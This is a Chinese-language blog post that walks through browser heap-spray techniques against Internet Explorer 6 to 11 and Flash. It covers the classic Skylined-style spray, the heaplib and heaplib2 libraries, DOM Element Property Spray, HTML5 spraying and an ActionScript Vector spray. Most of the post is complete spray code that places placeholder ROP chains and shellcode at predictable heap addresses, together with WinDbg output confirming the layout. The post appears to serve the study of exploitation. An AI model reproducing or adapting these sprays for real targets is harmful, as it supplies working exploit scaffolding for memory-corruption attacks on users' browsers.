探究堆喷射(heap spray)
博客园的自动保存系统真心不咋地,写的差不多的文章蓝屏之后就没有了,醉了!
浏览器是互联网世界最主要的软件之一,从IE6到IE11安全攻防在不断升级,防御措施的实施促使堆喷射技巧不断变化。写这篇博文想好好整理并实践一下这些年的堆喷射技巧。
文章主要参考《灰帽黑客》,近几年的安全大会的一些演说,一些安全团队的blog,当然由于水平有限,如有错误,欢迎指教。
1.Windows XP下的IE6和IE7的堆喷射都是老生常谈了,最直接继承了Skylined的思想,直接放代码:
<html>
<script >
var shellcode = unescape('%u4141%u4141');
var bigblock = unescape('%u9090%u9090');
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace)
bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x40000)
block = block + block + fillblock;
var memory = new Array();
for (i = 0; i < 500; i++)
{
memory[i] = block + shellcode
}
</script>
</html>
这种堆喷射的关键在于使堆分配的分配的空间大小和它需要存储的数据的大小尽量接近,直接用windbg看一下用上面代码产生的效果如何。
其中,通过运行!heap –stat查看内存堆块信息,通过运行!heap –stat –h可以查看所有堆的同类信息,通过运行!heap -flt s来指出所有指定大小的堆块的信息。
0:009> !heap -stat
_HEAP 00140000
Segments 00000002
Reserved bytes 00200000
Committed bytes 0009f000
VirtAllocBlocks 00000001
VirtAlloc bytes 021b0000
_HEAP 00910000
Segments 00000001
Reserved bytes 00100000
Committed bytes 00100000
VirtAllocBlocks 00000000
VirtAlloc bytes 00000000
.......
:> !heap -stat -h
heap @
group-by: TOTSIZE max-display:
size #blocks total ( %) (percent of total busy bytes)
7ffe0 1f5 - fa7c160 (99.78)
- (0.01)
7fe0 - 7fe0 (0.01)
7fb0 - 7fb0 (0.01)
56f8 - 56f8 (0.01)
52ac - 52ac (0.01)
.....
:> !heap -flt s 7ffe0
_HEAP @
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
fffc [0b] 7ffe0 - (busy VirtualAlloc)
021b0018 fffc fffc [0b] 021b0020 7ffe0 - (busy VirtualAlloc)
022b0018 fffc fffc [0b] 022b0020 7ffe0 - (busy VirtualAlloc)
fffc fffc [0b] 7ffe0 - (busy VirtualAlloc)
023b0018 fffc fffc [0b] 023b0020 7ffe0 - (busy VirtualAlloc)
...
效果很好,当然这种手段只能用于IE6,IE7。
2.heaplib,libheap2以及它的精准喷射技术。
heaplib是一个js关于内存分配的库,主要用OLEAUT32.DLL中的SysAllocString()和SysFreeString()对系统内存进行精确分配,并进行封装。这是由Alex Sotirow创建的,可成功在IE8进行喷射,关于SysAllocString()函数,并不是每次调用SysAllocString函数,都会在堆中新分配一个内存空间供string对象使用的。所需空间分配和释放的具体工作是有OLEAUT32中的APP_DATA类实现的,在这个类中使用了一个很普通的内存分配算法:
一个类似于系统的堆内存分配函数(如HeapAlloc函数)使用的Lookaside list的缓存,被释放的内存满足一定条件时会被释放到这个缓存中。
当应用程序调用APP_DATA::AllocCachedMem()函数时,它首先会检查缓存中相应的项中的6个内存块,从中找出最符合要求内存块,然后把这个内存块从缓存中释放出来,把它直接返回给应用程序。如果没有找到合适的内存块,它就会调用HeapAlloc()函数从堆中发配新的内存空间。
在这种情况下,由于缓存内存的不确定性,会导致内存分配不能对齐。所以为了确保不重用堆缓存,可以直接分配6个块,每个块都是箱中允许的最大大小,不剩下任何可用的缓存块,代码如下:
//heapspary
plunger = new Array();
function flushCache() {
plunger = null;
CollectGarbage();
plunger = new Array();
for (i = 0; i < 6; i++) {
plunger.push(alloc(32));
plunger.push(alloc(64));
plunger.push(alloc(256));
plunger.push(alloc(32768));
}
}
flushCache();
alloc_str(0x200);
free_str();
flushCache();
SysFreeString()函数,实际在内部调用的是CollectGarbage()函数,调用这个函数我们就能立即强制垃圾处理机制。heaplib库的应用范围十分广泛,本文只会专注于堆喷射领域,下面,看一下堆喷射代码:
<!DOCTYPE html>
<html>
<head>
<script type="text/javascript" src="heaplib.js"></script>
</head>
<body>
<script type="text/javascript">
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("%ucccc");
while(code.length<400) code += code;
code = code.substring(0,400);
var rop = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444%u4545%u4545%u4646%u4646%u4747%u4747%u4848%u4848");
var pad = unescape("%u9090%u9090");
while (pad.length < 0x1000) pad += pad;
offset_length = 0x5F6;
junk_offset = pad.substring(0, offset_length); var shellcode = junk_offset + rop + code + pad.substring(0, 0x800 - code.length - junk_offset.length - rop.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(2, 0x40000 - 0x21); for (var i=0; i < 500; i++) {
heap_obj.alloc(block);
}
alert("HeapLib done");
</script>
</body> </html>
Heaplib2库与Heaplib库最大的不同是使用了随机生成的DOM特性,在堆中分配负载。这样也绕过了一些浏览器的安全机制。可以在IE9~IE11成功喷射。
//heapSpray2
<!--Slighly modified and based on Chris Valasek script -->
<!DOCTYPE html>
<html> <head>
<script type="text/javascript" src="heapLib2.js"></script>
</head>
<body>
<h1 id="wonk" data-wonk="wonky">honk</h1> <script type="text/javascript">
var obj = document.getElementById("wonk"); //Create a heapLib2 object for Internet Explorer
var heap = new heapLib2.ie(obj, 0x80000);
var code = unescape("%ucccc");
while(code.length<400) code += code;
code = code.substring(0,400);
var rop = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444%u4545%u4545%u4646%u4646%u4747%u4747%u4848%u4848");
var pad = unescape("%u9090%u9090");
while (pad.length < 0x1000) pad += pad; offset_length = 0x5F6;
junk_offset = pad.substring(0, offset_length); var shellcode = junk_offset + rop + code + pad.substring(0, 0x800 - code.length - junk_offset.length - rop.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(2, 0x40000 - 0x21);
for (var i = 0; i < 0x500; i++){
//this will bypass the cache allocator
heap.sprayalloc("big_attr"+i, block);
}
heap.free("big_attr0");
alert("HeapLib2 done");
</script>
</body> </html>
由于DEP的实施,不能直接跳到nop进行执行,需要先进行ROP是的shellcode得到执行,所以我们需要预测rop链的准确位置,由于内存分配是对齐的,这意味着如果我们用正确的大小的块,和正确的大小的喷射块,我们将确保每个喷射块开始,将在可预见的地址定位。再通过简单的计算,可以实现准确喷射。
3.DEPS技术(DOM Element Property Spray) Corelan Team在2013年在博客上发的一篇文章简绍了这种技术。这项技术的思想是创建大量的DOM元素,设置一个元素属性为特殊值,也可以混合使用各种元素。
此外,DOM元素完成精确分配不是新技术。但我没看到基于这个概念的堆喷射。总之,DEPS技术基于以下四步:
>在页面放置一个div元素
>新建大量的任意元素
>用payload设置title属性,用substring()确保需要的长度
>增加这个到div
//喷射地址为0x20302228
<html>
<head></head>
<body>
<div id='blah'></div>
<script language='javascript'>
var div_container = document.getElementById('blah');
div_container.style.cssText = "display:none";
var data;
offset = 0x104;
junk = unescape("%u2020%u2020");
while(junk.length < 0x1000) junk+=junk; rop = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444%u4545%u4545%u4646%u4646%u4747%u4747");
shellcode = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc");
data = junk.substring(0,offset) + rop + shellcode;
data += junk.substring(0,0x800-offset-rop.length-shellcode.length); //20+rop+shellcode+20 length==0x800 while(data.length < 0x80000) data += data;
for (var i=0; i < 0x250; i++)
{
var obj = document.createElement("spray");
obj.title = data.substring(0,0x40000-0x58);
obj.style.fontFamily = data.substring(0,0x40000-0x58);
div_container.appendChild(obj);
}
alert("spray done");
</script>
</body>
</html>
而且,这个技术并需要添加随机数据来保证不被防御措施发现,这也是这个技术一个优势所在。
4.HTML5 Spray,
HTML5的出现给浏览器提供更好的视频和音频体验,而不需要依赖外部插件,但是,一个新功能产生的同时,也会带来潜藏的攻击面,关于攻击面的描写,可以参照博客另一篇文章(关于Andorid攻击面)Core Security的Federico Muttis和Anibal Sacco在2012发表了关于使用HTML5进行堆喷射的研究。在其中,可以通过操作包括cancas在内的Uint8ClampedArray, FloatXXArray, IntXXArray, UintXXArray等元素来字节级加载负载。方然,直接使用这种方法速度过慢,容易被发现浏览器存在问题,更推荐使用WebWorker创建线程加快喷射。由于个人更喜爱DEPS,所以略写,当然经过测试,可以绕过IE11的防御机制,代码会放在文末的压缩包里面。
5.使用ActionScript进行喷射
ActionScript是Flash的原因。这并不是什么新的技术,虽然使用的ActionScript和Javascript不同,但是喷射原理基本一致,这里着重讲一下使用数组向量的Flash喷射:代码如下
//喷射地址为1a1b2000
package
{
import flash.media.*;
import flash.display.Sprite;
public class VecSpray extends Sprite
{
public var s:__AS3__.vec.Vector.<Object>;
public function VecSpray()
{
super();
this.s = new Vector.<Object>(98688);
var loc1:*=0; while (loc1 < 98688)
{
this.s[loc1] = new Vector.<uint>(4096 / 4 - 2);//0x3FE
this.s[loc1][0] = 0xDEADBEE1;
this.s[loc1][(16 - 8) / 4] = 0x1a1b2000; //[2]
this.s[loc1][(20 - 8) / 4] = 0x1a1b2000; //[3]
this.s[loc1][(752 - 8) / 4] = 0x41414141; //[186]
this.s[loc1][(448 - 8) / 4] = 0; //[110]
++loc1;
}
return;
}
}
}
这里通过对98688和3FE对地址进行控制。同时还可以帮助绕过ROP+ALSR。
6.JIT Spray技术
JIT喷射”技术是在 2010年首次被提出来的。其基本思想是利用高级脚本语言中的常量数字在可预测的地址上产生想要的JIT指令片段。随着JIT喷射作为一种可靠的漏洞利用技术逐渐流行起来,软件厂商开始着手重新设计它们的JIT引擎。此后,一系列缓解措施被采用来防止JIT喷射,比如随机化JIT代码页的分配及变换JIT代码生成。这导致JIT基本已经退出了历史的舞台,但是作为一种思路可以学习一下,这里就略去了,可以根据压缩包里资料自主学习。
探究堆喷射(heap spray)的更多相关文章
- OD: Memory Attach Technology - Off by One, Virtual Function in C++ & Heap Spray
Off by One 根据 Halvar Flake 在“Third Generation Exploitation”中的描述,漏洞利用技术依攻击难度从小到大分为三类: . 基础的栈溢出利用,可以利用 ...
- windows环境下的heap spray+stack pivot gadget 实现绕过dep
ASLR+DEP是windows平台下最为常见的两种保护手段.这两种手段使得最基础的jmp esp等手法不再适用,而单纯的堆喷也会因为堆内存不可执行而失效.那么这里就来介绍一下heap spray+s ...
- Heap Spray原理
Heap Spray定义基本描述 Heap Spray并没有一个官方的正式定义,毕竟这是漏洞攻击技术的一部分.但是我们可以根据它的特点自己来简单总结一下.Heap Spray是在shellcode的前 ...
- Heap Spray原理浅析
Heap Spray定义基本描述 Heap Spray并没有一个官方的正式定义,毕竟这是漏洞攻击技术的一部分.但是我们可以根据它的特点自己来简单总结一下.Heap Spray是在shellcode的前 ...
- [数据结构]——堆(Heap)、堆排序和TopK
堆(heap),是一种特殊的数据结构.之所以特殊,因为堆的形象化是一个棵完全二叉树,并且满足任意节点始终不大于(或者不小于)左右子节点(有别于二叉搜索树Binary Search Tree).其中,前 ...
- Java的堆(Heap)和栈(Stack)的区别
Java中的堆(Heap)是一个运行时数据区,用来存放类的对象:栈(Stack)主要存放基本的数据类型(int.char.double等8种基本数据类型)和对象句柄. 例1 int a=5; int ...
- 纸上谈兵:堆(heap)
作者:Vamei 出处:http://www.cnblogs.com/vamei 欢迎转载,也请保留这段声明.谢谢! 堆(heap)又被为优先队列(priority queue).尽管名为优先队列,但 ...
- 堆(Heap)和二叉堆(Binary heap)
堆(Heap) The operations commonly performed with a heap are: create-heap: create an empty heap heapify ...
- Java 堆内存(Heap)[转]
将jvm内存很不错的文章,转自 堆(Heap)又被称为:优先队列(Priority Queue),是计算机科学中一类特殊的数据结构的统称.堆通常是一个可以被看做一棵树的数组对象.在队列中,调度程序反复 ...
随机推荐
- 手把手教你写Windows 64位平台调试器
本文网页排版有些差,已上传了doc,可以下载阅读.本文中的所有代码已打包,下载地址在此. ------------------------------------------------------- ...
- 云计算之路-阿里云上:SLB引起的https访问速度慢问题
自从我们在阿里云SLB上部署了https之后(详见在SLB上部署https遇到的问题及解决方法),陆续有园友向我们反馈登录时速度很慢(登录时是通过https访问),有些园友甚至无法访问登录页面. 而我 ...
- sqlalchemy 查询姿势总结
sqlalchemy查询使用 1.带条件查询 查询是最常用的,对于各种查询我们必须要十分清楚,首先是带条件的查询 #带条件查询 rows = session.query(User).filter_by ...
- ASP.NET Core 认证与授权[1]:初识认证 (笔记)
原文链接: https://www.cnblogs.com/RainingNight/p/introduce-basic-authentication-in-asp-net-core.html 在A ...
- (原)Unreal 渲染模块引言Temp
@author:白袍小道 引言 本文只在对Unreal渲染模块做一些详细的理解,务求能分析出个大概. 其中框架的思想和实现的过程,是非常值得学习和推敲一二的. 涉及资源系统,材 ...
- 洛谷P2678跳石头(提高)
题目背景 一年一度的“跳石头”比赛又要开始了! 题目描述 这项比赛将在一条笔直的河道中进行,河道中分布着一些巨大岩石.组委会已经选择好了两块岩石作为比赛起点和终点. 在起点和终点之间,有 N 块岩石( ...
- SPOJ 362 Ignore the Garbage 转7进制+简单大数除法
显然正着倒着看仍然是数字的只有7个数:0,1,2,5,6,8,9 所以就是用这7个数组合成不同的数. 将n转换成7进制,对应位输出即可. #include <cstdio> #includ ...
- shell中的>&1和 >&2是什么意思?
当初在shell中, 看到">&1"和">&2"始终不明白什么意思.经过在网上的搜索得以解惑.其实这是两种输出. 在 shell 程 ...
- 手机App测试如何获取包名的入口【两种方式】
在进行手机APP测试的时候经常要获取包名.那么何为包名呢?简单来说其实就是手机APP的安装apk文件的名称,每个手机APP(软件)的包名都是唯一的. 那么我们怎样来获取包名以及包名的入口呢? 方法一: ...
- jquery select chosen 动态绑定值
$("#ddlMstData").find("option[value=" + data.MstKey + "]").attr(" ...